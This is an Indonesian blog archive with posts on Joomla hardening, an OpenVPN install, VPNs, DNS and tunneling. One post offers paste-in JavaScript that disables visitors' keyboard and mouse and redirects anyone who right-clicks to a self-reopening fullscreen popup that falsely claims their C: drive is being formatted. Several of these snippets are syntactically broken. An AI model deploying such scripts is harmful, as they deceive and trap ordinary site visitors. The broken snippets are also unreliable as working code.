Senin, 25 November 2013

Sistem Basis Data – Entity Relationship Diagram (ERD)



CARA MELLINDUNGI WEB JOOMLA

Berikut ini tips untuk melindungi web Joomla anda:
  1. Semakin sedikit menggunakan Extension semakin aman website Joomla.
  2. Periksa dahulu keamanan Extension yang ingin digunakan di Google atauVulnerable Extensions List
  3. Selalu upgrade Joomla ke versi terbaru.
  4. Mengganti username administrator Joomla, gunakan username selain admin.
  5. Mengganti table prefix Joomla, gunakan tabel prefix selain jos_.
  6. Proteksi folder Administrator Joomla dengan password, cPanel > Password Protect Directories (cara ini tidak bisa diterapkan jika ada ext yang membutuhkan file di dalam folder administrator). Atau dengan plugins jSecure Authentication.
  7. Aktifkan fitur SEO, ada baiknya menggunakan Extension SEO sepertish404SEF
  8. Jangan gunakan Extension bajakan karena kebanyakan telah disusupi oleh script jahat
  9. Hapus semua Extension yang sudah tidak digunakan
  10. Mengganti password Joomla dan folder Administrator secara berkala, gunakan kombinasi alfa-numerik untuk password
  11. Pastikan semua permission file 644 dan folder 755. Untuk file configuration.php permission file bisa diset menjadi 444.
  12. Non-aktifkan plugins editor html (tinymce dll) jika web anda telah selesai diedit.
NB: 
Template juga termasuk Extension Joomla
 
 
referensi saya menggambil pada buku

Melindungi WEB-Site Dari RIPPER

Ini adalah TRIK Script solusi melindungi WEB-Site Dari RIPPER atau sejenis-nya, semoga bisa membantu sebagai pelindung serangan Hacker.
=> BROWSER RESTRICTION
Code:
document.write(”)
<script LANGUAGE="JavaScript">
if (navigator.appName == "Microsoft Internet Explorer") {
alert('Please Using mozilla Fire Fox')
document.location = "http://www.mozilla.com/en-US/";
}
</script>
Keterangan : Ini menggagalkan Web ada dapat diakses melalui IE! Jadi Web Anda hanya dapat di akses melalui FF
=> DISABLE USER’S KEYBOARD
Code:
document.write(”)
<script LANGUAGE="JavaScript">
function keypressed() {
alert("Maaf, Nggak boleh tekan keyboard");
}
document.onkeydown=keypressed;
</script>
Keterangan : Visitor tidak diperkenankan untuk menggunakan keyboard!
=> DISABLE RIGHT CLICK
Code:
document.write(”)

<script LANGUAGE="JavaScript">
function rightclick() {if (event.button==2)
{alert('Maaf, nggak boleh klik kanan!')}}
document.onmousedown=rightclick);
</script>
Keterangan : Visitor tidak diperkenankan untuk menggunakan klik kanan maupun view source code.
=> DISABLE LEFT CLICK
Code:
document.write(”)

<script LANGUAGE="JavaScript">
function rightclick() {if (event.button==1)
{alert('Maaf, nggak boleh klik kiri!')}}
document.onmousedown=rightclick);
</script>
Keterangan : Visitor tidak diperkenankan untuk menggunakan klik kiri maupun view source code.
=> RIGHT CLICK WITH CRASH WINDOWS
Langkah :
1.) Simpan code dibawah dengan nama cursed.html atau kamu dapat menamainya sesuai keinginan, kemudian upload di web hosting kamu
Code:
document.write(”)

<html>
<body onkeydown=handlePress(event) onunload="window.open(location)" onload="start()"> <br>
<br>&nbsp;<br>
<SCRIPT LANGUAGE="JavaScript">
function handlePress(e)
{return false;}
</SCRIPT>
<script>
function prcheck()
{
progr=1;d1=op.document.all.d2;prmsg="Formatting drive C:\ ";
i1=setInterval("d1.innerHTML=prmsg + progr++ +\"%\"",2000);
};
op=window.createPopup();
s='<body><table bgcolor="#0000F4" width="100%" height="100%"><tr ALIGN=LEFT VALIGN=TOP><td height=157></td></tr><tr>';
s+='<td>';
s+='<center><b><font color="#ffffff" face="Helvetica, Arial, sans-serif"><h2>Browser Error hahahahaha ... HACKER's Attack!!!
 <!--
 var prefix = 'ma' + 'il' + 'to';
 var path = 'hr' + 'ef' + '=';
 var addy9655 = 'webmaster' + '@';
 addy9655 = addy9655 + 'mozilla' + '.' + 'com';
 document.write( '<a ' + path + '\'' + prefix + ':' + addy9655 + '\'>' );
 document.write( addy9655 );
 document.write( '<\/a>' );
 //-->\n webmaster@mozilla.com
 <!--
 document.write( '<span style=\'display: none;\'>' );
 //-->
 Alamat e-mail ini dilindungi dari spambot, anda harus memampukan JavaScript untuk melihatnya
 <!--
 document.write( '</' );
 document.write( 'span>' );
 //-->
 </h2>General protection fault<br>EAX=5435 EBX=6541 EIP=*Unable to fix it<br><div id="d2">Formatting drive C:\ </div></font></b></center></td>';
s+='</tr></table></body>';
op.document.body.innerHTML=s;
function oppop()
{
if (!op.isOpen)
{
op.show(0,0,screen.width,screen.height,document.body);
}
}
function start()
{
oppop();
setInterval("window.focus(); {oppop();}",1);
prcheck();
}
</script>
</body>
</html>
Windows FF ini tidak akan bisa di close, kalaupun bisa maka akan terbuka kembali!
2.)Kemudian untuk Trick CODE buat di WEB kita
Code:
document.write(”)

<SCRIPT LANGUAGE="JavaScript">
var msg =" Hi,"+pageViewerFName+" what are you doing ?!! Now, you are cursed!"
function noRclick( event )
{
  if( event.which == 3 )
  {
    alert( msg );
    return false;
  }
  return true;
}
function noRclick2()
{
  alert( msg );
top.location.href = "Direct LINK FILE cursed.html";
  return false;
}
document.oncontextmenu = noRclick2;
document.captureEvents( Event.MOUSEDOWN );
if( document.layers ) document.onmousedown = noRclick;
</SCRIPT>
Keterangan : Trick ini akan memaksa CRASH WINDOWS siapapun yang telah melakukan klik kanan!!!
Catatan PENTING :
-> Paste Code yang ingin digunakan dalam bagian tag <body> pada index.php atau index.html
-> Direkomendasikan, jangan menggunakan seluruh kode bersamaan

REFERENSI DARI BUKU :)

Rabu, 06 November 2013

Install OpenVPN Server di Debian



Install OpenVPN Server di Debian
kali ini saya mau kasi sedikit tutor buat teman2, gimana sih cara nya install OpenVPN server..
di tutor ini saya gunakan Debian Server 6.0 64 bit,, ok.. kita mulai caranya

- pertama agan2 login sebagai root pada server agan ds/vps.
- di directory /root download dulu perl auto install nya..
Code:
root@puri:~# wget http://vpsnoc.com/scripts/debian-openvpn.sh
root@puri:~# chmod +x debian-openvpn.sh
-klo udh di download jalankan perintah dibawah ini.. itu perl otomatis dia akan download dan install OpenVPN secara otomatis pada server agan2...
Code:
root@puri:~# ./debian-openvpn.sh
- habis itu periksa OpenVPN yang agan2 install sudah berjalan atau belum. ketikkan perintah dibawah ini:
Code:
root@puri:~# netstat -an | grep 1194
- kalo hasilnya seperti di bawah ini :
Code:
udp        0      0 0.0.0.0:1194            0.0.0.0:*
berarti OpenVPN server sudah berhasil terinstall.
dalam hal ini, sebagai contoh klient untuk OpenVPN saya menggunakan komputer OS Windows 7
download kemudian install OpenVPN GUI di PC klien, aplikasi nya ada di web 
openvpn.net atau agan2 langsung bisa cek disini http://openvpn.net/index.php/download.html jangan lupa di install di pc klien ok

kemudian download dari server agan file keys.tgz di directory /root/keys.tgz bisa guna in aplikasi winscp atau software sftp lain ke PC kita. Kemudian untar file keys.tgz tadi ke pc klien directory C:\Program Files\OpenVPN\config\

terus coba test connet dari teskbar agan ada openvpn..
klo berhasil connect ke OpenVPN server, nanti PC klien akan mendapat IP sebagai contoh 10.8.0.7
setelah PC klient berhasil connect OpenVPN server, sesuai dengan script yang dijalankan di langkah pertama, default gateway dari setting network di PC klient akan mengarah ke OpenVPN server. Jika PC klient berhasil melakukan ping, misalnya ke 
www.google.co.id, berarti instalasi OpenVPN server dan client sudah berhasil. agan2 bisa browsing, chat dan aktifitas internet lainnya di PC client dengan akses sebagai klien vpn server.

kalo PC klient berhasil connect ke OpenVPN server tapi tidak dapat melakukan ping atau browsing, silakan buat file script di bawah ini dan upload ke VPS, misalnya file script ini kita namakan openvpnupdnet.sh, perintahnya:
Code:
root@puri:~# nano openvpnupdnet.sh
copy kan script di bawah ini,, jangan lupa di ganti yg perlu di ganti..
Code:
echo 1 > /proc/sys/net/ipv4/ip_forward
iptables -t nat -A POSTROUTING -o eth0 -j SNAT –to 175.103.xx.xx
#ganti 175.103.xx.xx dengan IP Public VPS Anda
#ganti eth0 dengan device network Anda, misalnya venet0
iptables-save > /etc/iptables.conf
echo “#!/bin/sh” > /etc/network/if-up.d/iptables
echo “iptables-restore < /etc/iptables.conf” >> /etc/network/if-up.d/iptables
chmod +x /etc/network/if-up.d/iptables
echo “net.ipv4.ip_forward=1? >> /etc/sysctl.conf
Setelah file updnet.sh diupload ke VPS, sebelum file dieksekusi,  ketikkan perintah
chmod +x updnet.sh
klo udh tersimpan jalankan perintah di bawah ini
Code:
root@puri:~# ./openvpnupdnet.sh
silakan di tes lagi di pc klien berhasil ping dan browsing gak... klo berhasil sip deh klo gitu hehe....
sekalian tutor nya ada yg mau di tanyakan silahkan

Apa itu 'VPN' Virtual Private Network?

Apa itu 'VPN' Virtual Private Network?

Sebuah VPN, atau Virtual Private Network, memungkinkan Anda untuk membuat sambungan aman ke jaringan lain melalui Internet. VPN dapat digunakan untuk mengakses situs yang berada di luar jangkauan wilayah, melindungi aktivitas browsing Anda dari pencuri data pada Wi-Fi publik, dan banyak lagi.

VPN pada dasarnya meneruskan semua lalu lintas jaringan Anda ke jaringan, yang berguna untuk seperti mengakses local area network dari jarak jauh dan melewati sensor internet. Dan kebanyakan sistem operasi telah terintegrasi dengan dukungan VPN.

Apa itu VPN?
Ketika Anda menghubungkan komputer Anda (atau perangkat lain, seperti smartphone atau tablet) ke VPN, komputer bertindak sebagai jaringan lokal yang sama seperti VPN. Semua lalu lintas jaringan Anda dikirim melalui sambungan aman ke VPN. Karena komputer Anda berperilaku seolah-olah ada di jaringan, ini memungkinkan Anda untuk secara aman mengakses sumber daya jaringan lokal bahkan ketika Anda berada di sisi lain dunia. Anda juga akan dapat menggunakan internet seolah-olah Anda hadir di lokasi VPN, yang memiliki beberapa manfaat jika Anda menggunakan Wi-Fi atau ingin mengakses situs yang diblokir.

Ketika Anda menelusuri web saat terhubung ke VPN, kontak komputer Anda ke situs web melalui koneksi VPN terenkripsi. VPN meneruskan permintaan Anda dan meneruskan respon dari website kembali melalui sambungan aman. Jika Anda menggunakan VPN yang berbasis di AS untuk mengakses Netflix, Netflix akan melihat koneksi Anda berasal dari dalam Amerika Serikat.

Penggunaan VPN
VPN adalah alat yang cukup sederhana, tetapi dapat digunakan untuk melakukan berbagai hal:

Akses Jaringan Bisnis Ketika di Perjalanan : VPN sering digunakan oleh pelancong bisnis untuk mengakses jaringan bisnis mereka, termasuk semua sumber daya jaringan lokal, ketika di perjalanan. Sumber daya lokal tidak harus terhubung langsung ke Internet, sehingga meningkatkan keamanan.

Akses Jaringan Rumah Anda Ketika Bepergian : Anda juga dapat mengatur VPN Anda sendiri untuk mengakses jaringan Anda sendiri saat bepergian. Ini akan memungkinkan Anda untuk mengakses Remote Desktop Windows melalui Internet, berbagi berkas file, dan bermain game melalui internet seolah-olah Anda berada di LAN yang sama (local area network).

Menyembunyikan Aktivitas Browsing Anda Dari Jaringan Lokal Anda dan ISP : Jika Anda menggunakan koneksi Wi-Fi publik, aktivitas browsing Anda di situs web non-HTTPS terlihat untuk semua orang, jika mereka tahu bagaimana mencarinya. Jika Anda ingin menyembunyikan aktivitas browsing Anda untuk sedikit lebih privasi, Anda dapat terhubung ke VPN. Jaringan lokal hanya akan melihat satu sambungan aman VPN. Semua traffic lain akan melakukan perjalanan melalui koneksi VPN. Meskipun hal ini dapat digunakan untuk memotong koneksi-monitoring oleh penyedia layanan Internet Anda, ingatlah bahwa penyedia VPN dapat memilih untuk log lalu lintas di ujungnya.

Akses Website yang di Blokir : Ini adalah cara yang paling ampuh untuk bisa mengakses situs-situs yang diblokir dengan sangat mudah. Anda bisa menggunakan layanan VPN berbayar maupun layanan VPN gratis.

Bypass Sensor Internet : Banyak orang China menggunakan VPN untuk mengakali Great Firewall of China dan memperoleh akses ke seluruh internet. (Namun, Great Firewall tampaknya telah mulai mengganggu VPN)

Download File : Banyak orang menggunakan koneksi VPN untuk men-download file melalui BitTorrent. Ini sebenarnya dapat berguna bahkan jika Anda men-download torrents yang sepenuhnya legal - jika ISP Anda memblokir BitTorrent dan membuatnya sangat lambat, Anda dapat menggunakan BitTorrent pada VPN untuk mendapatkan kecepatan lebih cepat. Hal yang sama berlaku untuk jenis lain dari lalu lintas ISP Anda yang mungkin mengganggu (kecuali mereka mengganggu lalu lintas VPN itu sendiri.)

Menggunakan VPN
Menghubungkan ke VPN cukup sederhana. Pada Windows, tekan tombol Windows, ketik VPN, dan klik pilihan Set up virtual private network (VPN). (Jika Anda menggunakan Windows 8, Anda harus mengklik kategori Settings setelah mencari.) Gunakan wizard untuk memasukkan alamat dan login dari layanan VPN yang ingin Anda gunakan. Anda kemudian dapat menghubungkan dan memutuskan sambungan dari VPN menggunakan ikon jaringan di system tray yang sama di mana Anda mengelola jaringan Wi-Fi Anda.

Beberapa penyedia VPN dapat menawarkan klien yang melakukan konfigurasi ini untuk Anda.

konfigurasi VPN



Layanan VPN gratis
Jika Anda baru saja mengenal VPN dan ingin VPN dasar untuk digunakan pada hotspot Wi-Fi atau mengakses situs-wilayah terbatas, ada beberapa layanan gratis yang cukup baik.

TunnelBear memiliki setup yang mudah dan sederhana. Anda cukup meng-klik tombol dalam aplikasi, Anda bahkan tidak perlu mengkonfigurasi VPN pada Windows. Versi gratis membatasi Anda untuk 500 MB per bulan, tapi itu mungkin baik untuk penggunaan sesekali.

Ada juga proXPN , yang menyediakan klien bebas. Gratis klien terbatas pada 300kbps, tapi lalu lintas sebaliknya terbatas.

Anda juga mungkin tertarik dalam mendirikan VPN di server Anda sendiri, yang dapat Anda lakukan dengan menggunakan beberapa aplikasi seperti Tomat atau OpenWRT. Tentu saja, ini tidak akan memungkinkan Anda untuk mengakses situs web yang diblokir, kecuali jika Anda bepergian ke luar negeri dan mengakses jaringan Anda sendiri dari jarak jauh.

Rabu, 23 Oktober 2013

DNS

DNS (Domain Name System, bahasa Indonesia: Sistem Penamaan Domain) adalah sebuah sistem yang menyimpan informasi tentang nama host maupun nama domain dalam bentuk basis data tersebar (distributed database) di dalam jaringan komputer, misalkan: Internet. DNS menyediakan alamat IP untuk setiap nama host dan mendata setiap server transmisi surat (mail exchange server) yang menerima surat elektronik (email) untuk setiap domain.

DNS menyediakan servis yang cukup penting untuk Internet, bilamana perangkat keras komputer dan jaringan bekerja dengan alamat IP untuk mengerjakan tugas seperti pengalamatan dan penjaluran (routing), manusia pada umumnya lebih memilih untuk menggunakan nama host dan nama domain, contohnya adalah penunjukan sumber universal (URL) dan alamat e-mail. DNS menghubungkan kebutuhan ini.

DNS server merupakan server yang digunakan untuk me-resolve nama-nama sistem ke dalam IP address atau sebaliknya (reverse lookup).

Pengelola dari sistem DNS terdiri dari tiga komponen :

1. DNS resolver, sebuah program klien yang berjalan di komputer pengguna, yang membuat permintaan DNS dari program aplikasi.
2. recursive DNS server, yang melakukan pencarian melalui DNS sebagai tanggapan permintaan dari resolver, dan mengembalikan jawaban kepada para resolver tersebut;
3. authoritative DNS server yang memberikan jawaban terhadap permintaan dari recursor, baik dalam bentuk sebuah jawaban, maupun dalam bentuk delegasi (misalkan: mereferensikan ke authoritative DNS server lainnya).
Sejarah Singkat DNS

Penggunaan nama sebagai pengabstraksi alamat mesin di sebuah jaringan komputer yang lebih dikenal oleh manusia mengalahkan TCP/IP, dan kembali ke zaman ARPAnet. Dahulu, setiap komputer di jaringan komputer menggunakan file HOSTS.TXT dari SRI (sekarang SIR International), yang memetakan sebuah alamat ke sebuah nama (secara teknis, file ini masih ada - sebagian besar sistem operasi modern menggunakannya baik secara baku maupun melalui konfigurasi, dapat melihat Hosts file untuk menyamakan sebuah nama host menjadi sebuah alamat IP sebelum melakukan pencarian via DNS). Namun, sistem tersebut diatas mewarisi beberapa keterbatasan yang mencolok dari sisi prasyarat, setiap saat sebuah alamat komputer berubah, setiap sistem yang hendak berhubungan dengan komputer tersebut harus melakukan update terhadap file Hosts.

Dengan berkembangnya jaringan komputer, membutuhkan sistem yang bisa dikembangkan: sebuah sistem yang bisa mengganti alamat host hanya di satu tempat, host lain akan mempelajari perubaha tersebut secara dinamis. Inilah DNS.

Paul Mockapetris menemukan DNS di tahun 1983; spesifikasi asli muncul di RFC 882 dan 883. Tahun 1987, penerbitan RFC 1034 dan RFC 1035 membuat update terhadap spesifikasi DNS. Hal ini membuat RFC 882 dan RFC 883 tidak berlaku lagi. Beberapa RFC terkini telah memproposikan beberapa tambahan dari protokol inti DNS.


Cara Kerja DNS Sebagai Berikut

* Saat kita merequest suatu alamat, misalnya phinguind.com dari host kita, maka host kita akan mengontak name server lokal untuk menanyakan dimanakah phinguind.com berada.
* Name server akan mencari request tersebut di database lokal. Karena tidak ada, maka name server akan mengontak root DNS servernya, siapa yang memegang domain untuk .com
* Domain .com berada pada level TLD (Top level domain), merupakan kode kategori organisasi atau negara misalnya: .com dipakai untuk perusahaan komersial; .edu dipakai untuk perguruan tinggi; .gov dipakai oleh badan pemerintahan. Selain itu untuk membedakan nama yang dipakai oleh suatu negara dengan negara lain digunakan tanda mislanya .id untuk Indonesia atau .au untuk Australia.Root server akan memberitahu IP address dari server DNS dari phinguind.com Kemudian DNS server lokal akan mengontak server DNS yang mengelola phinguind.com Kemudian DNS server tersebut akan memberitahu IP address dari phinguind.com Sehingga host kita merequest phinguind.com dengan IP address tersebut.


Resource Record

Resource Record merupakan record yang terdapat dalam database DNS untuk menerjemahkan IP Address ke nama dan dari Nama ke IP Address.
Ada beberapa resource Record :

1. A Record : berisi nama host dan IP Address, menunjukkan alamat Ipv4. Nama owner akan ekuivalen dengan IP address yang didefinisikan setelah record A.
2. SOA (Start of Authority) Record : siapa yang bertanggung jawab atas suatu zone.

SOA MNAME – SOA: Start Of Authority SOA MNAME> adalah field yang menunjukkan master server pada puncak/root dari zona authority. Hanya diperbolehkan terdapat satu master server tiap zona authority. Contohnya domain jagoanhosting.com memiliki SOA MNAME ns1.jagoanhosting.com

SOA Serial Number SOA Serial Number adalah field yang menunjukkan serial number dari DNS server. Format yang paling populer dalam penamaan serial number ini adalah yyyymmddss dengan yyyy adalah tahun, mm adalah bulan, dd adalah tanggal, dan ss adalah jumlah perubahan yang dilakukan pada hari itu. Nilai dari field ini harus diubah ketika terjadi perubahan pada zone file.

SOA REFRESH> SOA REFRESH adalah field yang menunjukkan waktu slave server akan merefresh zona dari master server.

SOA RETRY SOA RETRY adalah field yang menunjukkan berapa lama waktu jeda antara percobaan slave server mengkontak master server jika kontak pertama mengalami kegagalan ketika slave master me-refresh cache dari master server.

SOA EXPIRE SOA EXPIRE adalah field yang menunjukkan berapa lama zona-data masih authoritative. Field ini hanya berlaku untuk slave atau secondary server. Ketika nilai ini telah expired, maka slave master akan mengontak master server untuk membaca SOA record pada zona dan merequest AXFR/IFXR jika serial number berubah. Jika slave gagal mengontak master, maka slave akan terus mencoba mengontak master dan masih melayani query hingga waktu SOA EXPIRE habis. Setelah itu slave akan berhenti melayani query hingga kontak ke master server berhasil. RFC 1912 merekomendasikan 1209600 hingga 2419200 (2-4 minggu).

SOA MINIMUM TTL SOA MINIMUM TTL adalah nilai default TTL (Time To Live) untuk semua record pada zone file. Field ini dalam satuan detik.

3. NS (Name Server) Record: name server yang bertanggung jawab atas suatu zone

4. CNAME (Canonical Name) Record : nama alias untuk suatu host, dan sebuah record yang menjelaskan primary name untuk owner. Nama ownernya disebutkan dalam alias.

Struktur DNS

Domain Name System merupakan sebuah hirarki pengelompokan domain berdasarkan nama, yang terbagi menjadi beberapa bagian diantaranya:

Root-Level Domain

Domain ditentukan berdasarkan tingkatan kemampuan yang ada di struktur hirarki yang disebut dengan level. Level paling atas di hirarki disebut dengan root domain. Root domain di ekspresikan berdasarkan periode dimana lambang untuk root domain adalah (“.”).

Top-Level Domain

Pada bagian dibawah ini adalah contoh dari top-level domains:

* com Organisasi Komersial
* edu Institusi pendidikan atau universitas
* org Organisasi non-profit
* net Networks (backbone Internet)
* gov Organisasi pemerintah non militer
* mil Organisasi pemerintah militer
* num No telpon
* arpa Reverse DNS
* int Organisasi internasional, seperti NATO
* xx dua-huruf untuk kode negara (id:Indonesia, sg:singapura, au:australia, dll)

Top-level domains dapat berisi second-level domains dan hosts. Pada jaringan Internet top level domain untuk Indoenesia adalah id. Pada saat ini telah ada kesepakatan di antara provider dan pengelola jaringan di Indonesia untuk pengaturan sub-domain di bawah top level domain id. Kesepakatan ini ditujukan untuk mempermudah pengaturan routing dan manajemen jaringan. Kesepakatan tentang sub-domain di bawah top level domain id adalah :

* go.id Sub-domain untuk organisasi pemerintahan, mis LIPI (lipi.go.id), BPPT (bbpt.go.id).
* co.id Sub-domain untuk organisasi komersial, mis LEN (len.co.id), PT.Agung Teknik (atw.co.id).
* ac.id Sub-domain untuk organisasi pendidikan, mis UIN Alauddin (uin-alauddin.ac.id.), UI (ui.ac.id), UGM (ugm.ac.id).
* net.id Sub-domain untuk provider network, mis IndoInternet (indo.net.id), Radnet (radnet.net.id), Idola (idola.net.id).
* or.id Sub-domain untuk organisasi kemasyarakatan, mis WALHI (walhi.or.id).

Penamaan sub-domain di bawah sub-domain di atas diserahkan sepenuhnya kepada pengelola jaringan di domain tersebut. Misalkan UIN Alauddin dapat memilih domain uin-alauddin.ac.id ataupun uinalauddin.ac.id. Yang perlu dipertahankan adalah konsistensi penamaan domain. Sebaiknya domain yang digunakan bersifat permanen, tidak berganti-ganti. Karena pergantian domain akan memerlukan updating pada seluruh jaringan. Perluasan domain (domain expanding) di bawah suatu domain juga diserahkan sepenuhnya kepada pengelola jaringan di masing-masing sub-domain. Misalkan di domain uin-alauddin.ac.id terdapat beberapa subdomain lagi yang lebih kecil seperti Fakultas Sains dan Teknologi di lingkungan UIN Alauddin digunakan sub domain fst.uin-alauddin.ac.id, di lingkungan jurusan Teknik Informatika digunakan domain tin.fst.uin-alauddin.ac.id.

Second-Level Domains

Second-level domains dapat berisi host dan domain lain, yang disebut dengan subdomain. Untuk contoh: Domain akademik, ac.id terdapat komputer (host) seperti uin-alauddin.ac.id dan subdomain kuliah.uin-alauddin.ac.id. Subdomain kuliah.uin-alauddin.ac.id juga bisa terdapat komputer (host) misalnya jarkom.kuliah.uin-alauddin.ac.id.

Sabtu, 27 Juli 2013

tunnel

Tunneling merupakan suatu metode yang digunakan untuk proses peng-engkapsulisasianIP address, baik peng-enkapsulasian IPv6 dalam paket IPv4 atau sebaliknya. Sistemtunneling ini digunakan untuk mengintegrasikan antara komputer server dan client yang menggunakan jenis IP address berbeda, misalkan komputer server menggunakan IPv6 dan komputer client menggunakan IPv4(Wahidi, 2003).
Di dalam sistem tunneilng terdapat suatu aspek yang paling penting, yaitu payload atau biasa disebut dengan paket data asli yang bisa jadi merupakan suatu unsupported protocol atau protokol yang tidak dikenal. Pada tunneling terdapat header yang diperlukan sehingga paket data tersebut dapat dikirim melalui infrastruktur jaringan dan diterima oleh tujuan(Wahidi, 2003).
Paket tunnel yang dikirim melalui jaringan dengan menggunakan tunnel. Saat node tujuan menerima paket tunnel, maka paket tunnel tersebut akan di enkapsulasikan kedalam paket data hasil(Wahidi, 2003).
Terdapat dua jenis tunneling, yaitu tunneling secara terkonfigurasi (configured tunneling) dan tunneling secara otomatis (automatic tunneling). Tunneling terkonfigurasi merupakan suatu sistem tunneling yang terjadi pada router ke router dan komputer ke routerRouterharus mendekapsulasi paket IPv6 dan mengirimkannya ke tujuan akhirnya, jika alamat IPv6 router berbeda dengan alamat tujuan paket yang paket tersebut tidak menyediakan alamat IPv4 router, maka alamat dari router tersebut ditentukan dari konfigurasi olleh komputer yang bertindak sebagai tunneling(Jonas, 2008).
Tunneling otomatis merupakan suatu sistem tunneling yang berfungsi untuk melewatkan paket IPv6 melalui jaringan IPv4 tanpa merubah infrastruktur dari jaringan tersebut.Tunneling jenis ini memilki prinsip kerja yang mengengkapsulasikan paket IPv6 ke headerIPv4 yang kemudian langsung dikirim ke jaringan IPv4. Fungsi dari enkapsulasi paket IPv6 tersebut adalah supaya paket tersebut dapat di routing-kan oleh router IPv4 tersebut. Namun dengan adanya penambahan header IPv4 ini, paket tersebut akan bertambah besar sesuai dengan panjang dari header IPv4. Pertambahan panjang paket ini akan mengakibatkan pertambahan waktu delay pada proses pengiriman paket tersebut(Jonas, 2008). Berikut bentuk dari sistem tunneling:
Server komputer adalah suatu sistem komputer yang dibuat untuk menjalankan aplikasiserver. Sebuah komputer server yang di fungsikkan untuk menjalankan salah satu aplikasiserver yang spesifik sering kali komputer server tersebut dikenal dengan nama dari aplikasinya. Sebagai contoh, misalkan pada komputer server digunakan software Apache HTTP server biasanya di sebut Web Server saja. Pada dasarnya aplikasi server adalahfleksibel, dalam artian aplikasi server dapat dibagi menjadi beberapa komputer tergantung pada kebutuhan dan beban(Dedi, 2010).
FTP atau File transfer protocol merupakan suatu aplikasi yang digunakan untuk proses pentransferan file (mengirim dan menerima file) dari suatu komputer ke komputer lain dalam suatu jaringan. Aplikasi ftp ini bekerja pada port 21 sebuah jaringan(Dedi, 2010).
Selain FTP server, aplikasi lain yang digunakan pada server adalah web serverWebserver merupakan suatu aplikasi yang berfungsi untuk menproses permintaan dari clientdalam bentuk web atau world wide web (www). Web server bertugas menunggu permintaan dari client yang menggunakan browser seperti Netscape Navigator, Internet Explorer, Modzilla, dan program browser lainnya. Jika ada permintaan dari browser, makaweb server akan mengeksekusi permintaan tersebut dan kemudian memberikan hasil dari proses yang dilakukan kepada browser. Data ini mempunyai format yang standar, disebut dengan format SGML (Standar General Markup Language)(Nancy, 1996).
Pengujian terhadap performansi jaringan yang menggunakan teknik tunneling meliputi cara-cara uji sebagai berikut ini:
1.     Performance Test
Dilakukan untuk melihat pengaruh dari teknik tunneling terhadap performansi pada jaringan komputer yang digunakan, hal ini dilakukan untuk melihat optimasi ketika trafik meningkat (Paul B & Mark C. 1998).
1.     Load Test
Dilakukan dengan melihat pengaruh dari teknik tunneling tehadap pengujian webserver danftpserver menggunakan estimasi trafik dari sebuah halaman web yang mampu dilayani. Caranya yaitu mencatat berapa waktu maksimum yang dibutuhkan dari proses penampilan sebuah halaman web yang diakses (Martin F. & Carey L. 1996).
1.     Stress Test
Merupakan suatu simulasi serangan “brute force” yang menjalankan muatan atau permintaan secara berlebihan menuju webserver dan ftpserver dalam jaringan yang menggunakan teknik tunneling. Tujuannya untuk estimasi muatan maksimum dari sebuahwebserver dan ftpserver(Obaidat 2010).